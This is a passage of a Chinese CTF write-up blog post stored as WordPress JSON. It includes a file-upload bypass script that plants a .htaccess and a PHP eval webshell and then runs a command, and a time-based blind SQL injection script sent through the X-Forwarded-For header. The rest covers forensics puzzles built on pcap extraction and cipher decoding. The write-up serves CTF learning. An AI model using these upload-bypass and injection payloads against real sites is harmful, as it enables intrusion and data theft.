\u5927\u6982\u5c31\u662f\u5728ban\u4e86<?\u7684\u60c5\u51b5\u4e0b\u6587\u4ef6\u4e0a\u4f20\uff0c\u6bd4\u8d5b\u7684\u65f6\u5019\u6587\u4ef6\u5934\u52a0\\x00\\x00\\x8a\\x39\\x8a\\x39\u5373\u53ef\u7ed5\u8fc7\u56fe\u7247\u68c0\u9a8c\uff0c\u505a\u6cd5\u5c31\u662f\u7528\u4f2a\u534f\u8bae\u5199shell\uff0c\u627e\u4e2a\u7c7b\u4f3c\u7684\u9898\u590d\u73b0\u4e00\u4e0b\uff0c\u9898\u76ee\u662fbuuoj\u4e0anewstarctf2022 week5\u7684web\u9898Give me your photo PLZ<\/p>\n\n\n\n
\u4f20.htaccess<\/p>\n\n\n\n
import requests\nimport base64\nurl = \"http:\/\/19e8695c-bff7-4b5a-90ed-63e50aa1bfaf.node4.buuoj.cn:81\"\ndata = {\"upload\": \"\"}\nhtaccess = b\"\"\"\\x00\\x00\\x8a\\x39\\x8a\\x39\nAddType application\/x-httpd-php .png\nphp_value auto_append_file \"php:\/\/filter\/convert.base64-decode\/resource=1.png\"\n\"\"\"\nfile1 = {\"file\": ('.htaccess', htaccess)}\n# proxy = {\"http\":\"http:\/\/127.0.0.1:8080\"}\nprint(\"upload .htaccess\")\n# r = requests.post(url, files=file1, data=data, proxies=proxy)\nr = requests.post(url, files=file1, data=data)\nprint(r.text)<\/code><\/pre>\n\n\n\n
\u4f20png\u7136\u540egetshell(\u8fd9\u91cc\u4e3a\u4e86base64\u89e3\u7801\u6240\u4ee5\u8865\u4e8600)<\/p>\n\n\n\n
import requests\nimport base64\nurl = \"http:\/\/19e8695c-bff7-4b5a-90ed-63e50aa1bfaf.node4.buuoj.cn:81\"\ndata = {\"upload\": \"\"}\nshell = b\"\\x00\\x00\\x8a\\x39\\x8a\\x39\"+b\"00\"+ base64.b64encode(b\"<?php @eval($_GET[1]);?>\")\nfile1 = {\"file\": ('1.png', shell)}\n# proxy = {\"http\":\"http:\/\/127.0.0.1:8080\"}\nprint(\"upload 1.png\")\n# r = requests.post(url, files=file1, data=data, proxies=proxy)\nr = requests.post(url, files=file1, data=data)\nprint(r.text)\nr = requests.get(url+\"\/upload\/1.png?1=system('whoami');\")\nprint(r.text)<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53e4\u5251\u5c71-\u76f2\u4eba\u6478\u8c61<\/h2>\n\n\n\n
\u5f53\u65f6\u6ca1\u65f6\u95f4\u505a\u4e86\uff0c\u627e\u522b\u4eba\u8981\u4e86\u4e2a\u811a\u672c\uff0c\u770b\u8d77\u6765\u4e0d\u96be\uff0c\u4e0d\u4f1a\u7684\u53bb\u770bsql\u6ce8\u5165\u4e00\u547d\u901a\u5173<\/p>\n\n\n\n
#!\/usr\/bin\/env python\n# -*- coding: utf-8 -*-\nimport requests\nimport time\nchars =\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@:\\\/_-.\"\ntableName = \"\"\ncolumnName = \"\"\nflag = \"flag{\"\nurl = \"http:\/\/47.106.186.166:3449\"\nfor i in range(99):\n    for char in chars:\n        headers = {\n            \"Host\": \"47.106.186.166:34498\",\n            \"User-Agent\": \"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/59.0.3071.115 Safari\/537.36\",\n            #\u7206\u8868\u540d\n            # \"X-FORWARDED-FOR\": \"1' and (select case when((select count(table_name) from information_schema.tables where table_schema=database() and table_name !='client_ip' and table_name like '\" + tableName + char + \"%')>0) then sleep(3) else 1 end) and '1'='1\"\n            #\u7206\u7b2c\u4e8c\u5f20\u8868\n            # \"X-FORWARDED-FOR\": \"1' and (select case when((select count(table_name) from information_schema.tables where table_schema=database()and table_name !='client_ip' and table_name like '\" + tableName + char + \"%')>0) then sleep(3) else 1 end) and '1'='1\"\n            #\u5f97\u5230flag\u8868\uff0c\u5f00\u59cb\u7206\u5217\u540d\n            # \"X-FORWARDED-FOR\": \"1' and (select case when((select count(column_name) from information_schema.columns where table_name='flag' and column_name like '\" + columnName + char + \"%')>0) then sleep(3) else 1 end) and '1'='1\"\n            #\u5f97\u5230flag\u5217\uff0c\u5f00\u59cb\u8dd1\u6570\u636e\n            \"X-FORWARDED-FOR\":\"1' and (select case when ((select count(flag) from flag where flag like '\" + flag + char + \"%')>0) then sleep(3) else 1 end) and '1'='1\"\n            }\n        start = time.time()\n        res = requests.get(url, headers=headers)\n        end = time.time()\n        if end - start >= 3:\n                flag += char\n                print(flag)\n                break\n#flag{eea3fa67_d57b_41e3_ab5f_da2f3e5c00c0}\n#\u628a_\u6362\u6210-\u5c31\u53ef\u4ee5\u4e86<\/code><\/pre>\n\n\n\n
\u53e4\u5251\u5c71-\u5b57\u8282\u7801<\/h2>\n\n\n\n
https:\/\/blog.csdn.net\/weixin_44604541\/article\/details\/111404198<\/a><\/p>\n\n\n\n
\u4e0b\u5468\u6253\u5b8c\u5f3a\u7f51\u676f\u5e94\u8be5\u5c31\u9000\u5f79\u4e86\uff0c\u540e\u9762\u53ef\u80fd\u53ea\u4f1a\u8ddf\u961f\u91cc\u6253\u5927\u6bd4\u8d5b\u6bd4\u5982XCTF\u4e86\ud83e\udd27\ud83e\udd27<\/p>\n\n\n\n
\u718a\u732b\u676f-\u575a\u6301\u505a\u6b63\u786e\u7684\u4e8b\u60c5<\/h2>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91ccreturn code\u5c31\u4e24\u79cd\u53cd\u590d\u6a2a\u8df3\uff0c\u8981\u4e480xff(\u6b63\u786e)\uff0c\u8981\u4e480x00(\u4fdd\u7559)\uff0c\u8fd9\u91cc\u6211\u4eec\u63d0\u53d6\u4e0d\u662f0xff\u7684\uff0c\u4e3a\u4ec0\u4e48\u5462\uff0c\u56e0\u4e3a0x00\u7684\u90a3\u91cc\u624d\u6709\u9644\u52a0\u7684data\uff0c\u8fd9\u91cc\u6709\u4e2a\u4f4e\u80fd\u5c0ftrick\uff0c\u600e\u4e48\u627e\u60f3\u8981\u63d0\u53d6\u7684\u5b57\u6bb5\u540d<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u76f4\u63a5\u5bf9\u7740\u81ea\u5df1\u60f3\u8981\u9009\u7684\u5b57\u6bb5\u70b9\u53f3\u952e\uff0c\u7136\u540e\u9009\u51c6\u5907\u4f5c\u4e3a\u8fc7\u6ee4\u5668<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u6307\u5b9a\u7684\u5b57\u6bb5\u540ds7comm.data.returncode == 0xff\uff0c\u7136\u540e\u6211\u4eec\u7528\u540c\u6837\u7684\u65b9\u6cd5\u627e\u5230data\u6bb5\u7684\u5b57\u6bb5\u540d\u4e3as7comm.resp.data\uff0c\u6700\u540e\u7528tshark\u63d0\u53d6s7comm.data.returncode !== 0xff\u7684data\u91cd\u5b9a\u5411\u51fa\u6765<\/p>\n\n\n\n
tshark -r 1.pcap -Y \"s7comm.data.returncode != 0xff\"  -T fields -e s7comm.resp.data > s7.txt<\/code><\/pre>\n\n\n\n
\u7136\u540e\u5199\u4e2a\u811a\u672c\u53bb\u4e00\u4e0b\u6362\u884c\u7b26<\/p>\n\n\n\n
# \u6253\u5f00\u8f93\u5165\u6587\u4ef6\nwith open('s7.txt', 'r') as file:\n    content = file.read()\n\n# \u53bb\u9664\u6362\u884c\u7b26\ncontent = content.replace('\\n', '')\n\n# \u6253\u5f00\u8f93\u51fa\u6587\u4ef6\uff0c\u5199\u5165\u5904\u7406\u540e\u7684\u5185\u5bb9\nwith open('s7_new', 'w') as file:\n    file.write(content)\n\nprint(\"\u5df2\u6210\u529f\u53bb\u9664\u6240\u6709\u6362\u884c\u7b26\u5e76\u4fdd\u5b58\u5230s7_new\u6587\u4ef6\u4e2d\u3002\")<\/code><\/pre>\n\n\n\n
\u7528cyberchef\u4ecehex\u8f6c\u4e00\u4e0b<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u4e2d\u95f4\u8fd8\u6709\u4e00\u6bb5hex\uff0c\u518d\u8f6c\u4e00\u6b21<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u63a5\u7740\u4ecebase64\u518d\u8f6c\u4e00\u6b21<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u51fa\u6765\u662fpng\uff0c\u4fdd\u5b58\u51fa\u6765\uff0c\u56fe\u7247\u5bbd\u9ad8\u6709\u95ee\u9898\uff0c\u62ffpuzzlesolver\u7206\u7834\u4e00\u4e0b\uff0c\u8f6c\u5316\u6210\u6b63\u5e38\u56fe\u7247<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6700\u540e\u4e00\u6bb5\u6709\u4e00\u4e9b\u989d\u5916\u6570\u636e<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
gg1$  j gg 2gg 3j4l 4k4l 2h G$k2h gg6l :7 4l6k ll G$k hhk  2j2h 2h k$hh gg4l G8l2k 4h2j 6k2h 4l5j ggll G8l2k 4k lh hhhhhh 4l5j G8l2k gg 6l 2h G4l gg4l 2h G4l G6l lh kll Gll 4l6k 5gg6l<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u6709\u4e00\u4e2a\u79bb\u8c31\u7684\u8054\u60f3\uff0c\u89c2\u5bdf\u5bc6\u6587\u548c\u56fe\u7247\u540e\u731c\u6d4b\u662fvim\u7684\u952e\u4f4d\uff0c\u6240\u4ee5\u5c06\u56fe\u7247\u4e0a\u7684\u5b57\u7b26\u65b0\u5efa\u6587\u4ef6\uff0c\u5e76\u4f7f\u7528vim\u952e\u4f4d\u8fdb\u884c\u8fd8\u539fflag<\/p>\n\n\n\n
gg1$    \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e00\u884c\uff0c\u5e76\u8df3\u5230\u8be5\u884c\u7684\u672b\u5c3e\nj       \" \u5411\u4e0b\u79fb\u52a8\u4e00\u884c\ngg      \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e00\u884c\n2gg     \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e8c\u884c\n3j      \" \u5411\u4e0b\u79fb\u52a8\u4e09\u884c\n4l      \" \u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\n4k      \" \u5411\u4e0a\u79fb\u52a8\u56db\u884c\n4l      \" \u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\n2h      \" \u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\nG$      \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u8df3\u5230\u8be5\u884c\u7684\u672b\u5c3e\nk2h     \" \u5411\u4e0a\u79fb\u52a8\u4e00\u884c\uff0c\u5e76\u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\ngg6l    \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u516d\u4e2a\u5b57\u7b26\n:7      \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e03\u884c\n4l6k    \" \u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\uff0c\u5e76\u5411\u4e0a\u79fb\u52a8\u516d\u884c\nll      \" \u5411\u53f3\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\nG$k     \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u8df3\u5230\u8be5\u884c\u7684\u672b\u5c3e\uff0c\u7136\u540e\u5411\u4e0a\u79fb\u52a8\u4e00\u884c\nhhk     \" \u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\uff0c\u5e76\u5411\u4e0a\u79fb\u52a8\u4e00\u884c\n2j2h    \" \u5411\u4e0b\u79fb\u52a8\u4e24\u884c\uff0c\u5e76\u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\n2h      \" \u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\nk$hh    \" \u5411\u4e0a\u79fb\u52a8\u4e00\u884c\uff0c\u8df3\u5230\u8be5\u884c\u7684\u672b\u5c3e\uff0c\u5e76\u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\ngg4l    \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\nG8l2k   \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u516b\u4e2a\u5b57\u7b26\uff0c\u7136\u540e\u5411\u4e0a\u79fb\u52a8\u4e24\u884c\n4h2j    \" \u5411\u5de6\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\uff0c\u5e76\u5411\u4e0b\u79fb\u52a8\u4e24\u884c\n6k2h    \" \u5411\u4e0a\u79fb\u52a8\u516d\u884c\uff0c\u5e76\u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\n4l5j    \" \u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\uff0c\u5e76\u5411\u4e0b\u79fb\u52a8\u4e94\u884c\nggll    \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\nG8l2k   \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u516b\u4e2a\u5b57\u7b26\uff0c\u7136\u540e\u5411\u4e0a\u79fb\u52a8\u4e24\u884c\n4k lh hhhhhh 4l5j \" \u5411\u4e0a\u79fb\u52a8\u56db\u884c\uff0c\u5411\u53f3\u79fb\u52a8\u4e00\u4e2a\u5b57\u7b26\uff0c\u5411\u5de6\u79fb\u52a8\u516d\u4e2a\u5b57\u7b26\uff0c\u518d\u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\uff0c\u7136\u540e\u5411\u4e0b\u79fb\u52a8\u4e94\u884c\nG8l2k   \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u516b\u4e2a\u5b57\u7b26\uff0c\u7136\u540e\u5411\u4e0a\u79fb\u52a8\u4e24\u884c\ngg 6l 2h \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e00\u884c\uff0c\u5411\u53f3\u79fb\u52a8\u516d\u4e2a\u5b57\u7b26\uff0c\u7136\u540e\u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\nG4l     \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\ngg4l    \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\n2h      \" \u5411\u5de6\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\nG4l     \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\nG6l     \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u516d\u4e2a\u5b57\u7b26\nlh      \" \u5411\u53f3\u79fb\u52a8\u4e00\u4e2a\u5b57\u7b26\uff0c\u7136\u540e\u5411\u5de6\u79fb\u52a8\u4e00\u4e2a\u5b57\u7b26\nkll     \" \u5411\u4e0a\u79fb\u52a8\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\nGll     \" \u8df3\u5230\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u4e24\u4e2a\u5b57\u7b26\n4l6k    \" \u5411\u53f3\u79fb\u52a8\u56db\u4e2a\u5b57\u7b26\uff0c\u5e76\u5411\u4e0a\u79fb\u52a8\u516d\u884c\n5gg6l   \" \u8df3\u5230\u6587\u4ef6\u7684\u7b2c\u4e94\u884c\uff0c\u5e76\u5411\u53f3\u79fb\u52a8\u516d\u4e2a\u5b57\u7b26<\/code><\/pre>\n\n\n\n
\u6700\u540e\u5f97\u5230flag{ed4d6cd5-984c-8b3b-eeb3-adc8cb89947d}<\/p>\n\n\n\n
\u718a\u732b\u676f-Bluetooth<\/h2>\n\n\n\n
\u63d0\u53d6\u6570\u636e\u5230xbox.txt\uff0c\u7136\u540e\u8fd0\u884c\u811a\u672c<\/p>\n\n\n\n
tshark -r xbox.pcapng -e btl2cap.payload -T fields  > xbox.txt<\/code><\/pre>\n\n\n\n
import re, time\r\nimport os\r\nimport urllib.parse, urllib.request\r\n\r\nMORSE_CODE_DICT = {\r\n    '.-': 'A', '-...': 'B',\r\n    '-.-.': 'C', '-..': 'D', '.': 'E',\r\n    '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I',\r\n    '.---': 'J', '-.-': 'K', '.-..': 'L', '--': 'M',\r\n    '-.': 'N', '---': 'O', '.--.': 'P', '--.-': 'Q',\r\n    '.-.': 'R', '...': 'S', '-': 'T', '..-': 'U',\r\n    '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y', '--..': 'Z',\r\n    '-----': '0', '.----': '1', '..---': '2', '...--': '3',\r\n    '....-': '4', '.....': '5', '-....': '6', '--...': '7',\r\n    '---..': '8', '----.': '9'\r\n}\r\n#\u83ab\u65af\u5bc6\u7801\r\ndef decrypt_morse_code(morse_code):\r\n    words = morse_code.split(' ')\r\n    \r\n    decrypted_message = \"\"\r\n    \r\n    for word in words:\r\n        if word in MORSE_CODE_DICT:\r\n            decrypted_message += MORSE_CODE_DICT[word]\r\n        else:\r\n            decrypted_message += ' ' \r\n    \r\n    return decrypted_message\r\n#01248\u4e91\u5f71\u5bc6\u7801\r\ndef de_code(c):\r\n    dic = [chr(i) for i in range(ord(\"A\"), ord(\"Z\") + 1)]\r\n    flag = \"\"\r\n    c2 = [i for i in c.split(\"0\")]\r\n    for i in c2:\r\n        c3 = 0\r\n        for j in i:\r\n            c3 += int(j)\r\n        flag += dic[c3 - 1]\r\n    return flag\r\n#tshark -r xbox.pcapng -e btl2cap.payload -T fields  > xbox.txt\r\nwith open(\"xbox.txt\",\"r\",encoding=\"utf-8\") as f:\r\n    files=f.readlines()\r\na=[]\r\nnum=1\r\nfor file in files:\r\n    if \"a1010b813c849f77a98c\" in file:\r\n        a.append(file.replace(\"\\n\",\"\"))\r\n        num+=1\r\nflag=\"\"\r\nfor i in range(0,len(a),6):\r\n    print(a[i])\r\n    key =a[i].split(\"a1010b813c849f77a98c000000000\")[1][0]\r\n    print(key)\r\n    if key==\"1\":\r\n        flag+=\"1\"\r\n    if key==\"3\":\r\n        flag+=\"3\"\r\n    if key==\"5\":\r\n        flag+=\"5\"\r\nprint('\u5bc6\u78011:'+decrypt_morse_code(flag.replace(\"1\",\".\").replace(\"3\",\"-\").replace(\"5\",\" \")))\r\nflag1=\"\"\r\n# print('aes\u5bc6\u94a5\uff1a')\r\nfor i in range(0,len(a),6):\r\n    if \"5\" == a[i][29]:\r\n        flag1+=\"0\"\r\n    if \"0\" != a[i][31]:\r\n        flag1+= a[i][31]\r\n# print('\u538b\u7f29\u5305\u5bc6\u7801:')\r\nprint('\u5bc6\u78012:'+de_code(flag1)[:-4])\r<\/code><\/pre>\n\n\n\n
\u5bc6\u78011:2AE9717689554111\r\n\u5bc6\u78012:AUCLWJQBUCIW<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2apcapng\u540e\u9762\u8ddf\u7740\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u63d0\u53d6\u51fa\u6765(\u600e\u4e48\u4f1a\u6709\u4eba\u60f3\u5230\u5728\u6570\u636e\u5305\u540e\u9762\u8ddf\u4e2azip\u7684\uff0c\u8fd9\u53eb\u4ec0\u4e48\u6d41\u91cf\u5206\u6790\u3002\u3002\u3002)\uff0c\u7528AUCLWJQBUCIW\u89e3\u5f00\u538b\u7f29\u5305\uff0c\u5f97\u5230<\/p>\n\n\n\n
IfWT725Zkx\/SSQdxoZPvm8ldX8BSrr1GU2h841iYrZbZL+rPPyjnboqduBPVO6cx<\/code><\/pre>\n\n\n\n
\u7136\u540e\u75282AE9717689554111\u4f5c\u4e3akey\u7528AES\u89e3\u4e00\u4e0b<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u4eac\u9e9fCTF-SigninDCT \u4e24\u4e2a\u9644\u4ef6\uff0c\u4e00\u4e2a\u662fhint_for_flag.txt\uff0c\u53e6\u4e00\u4e2a\u662f\u4e00\u4e2asecret. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-2999","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2999","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=2999"}],"version-history":[{"count":23,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2999\/revisions"}],"predecessor-version":[{"id":3304,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2999\/revisions\/3304"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=2999"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=2999"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=2999"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}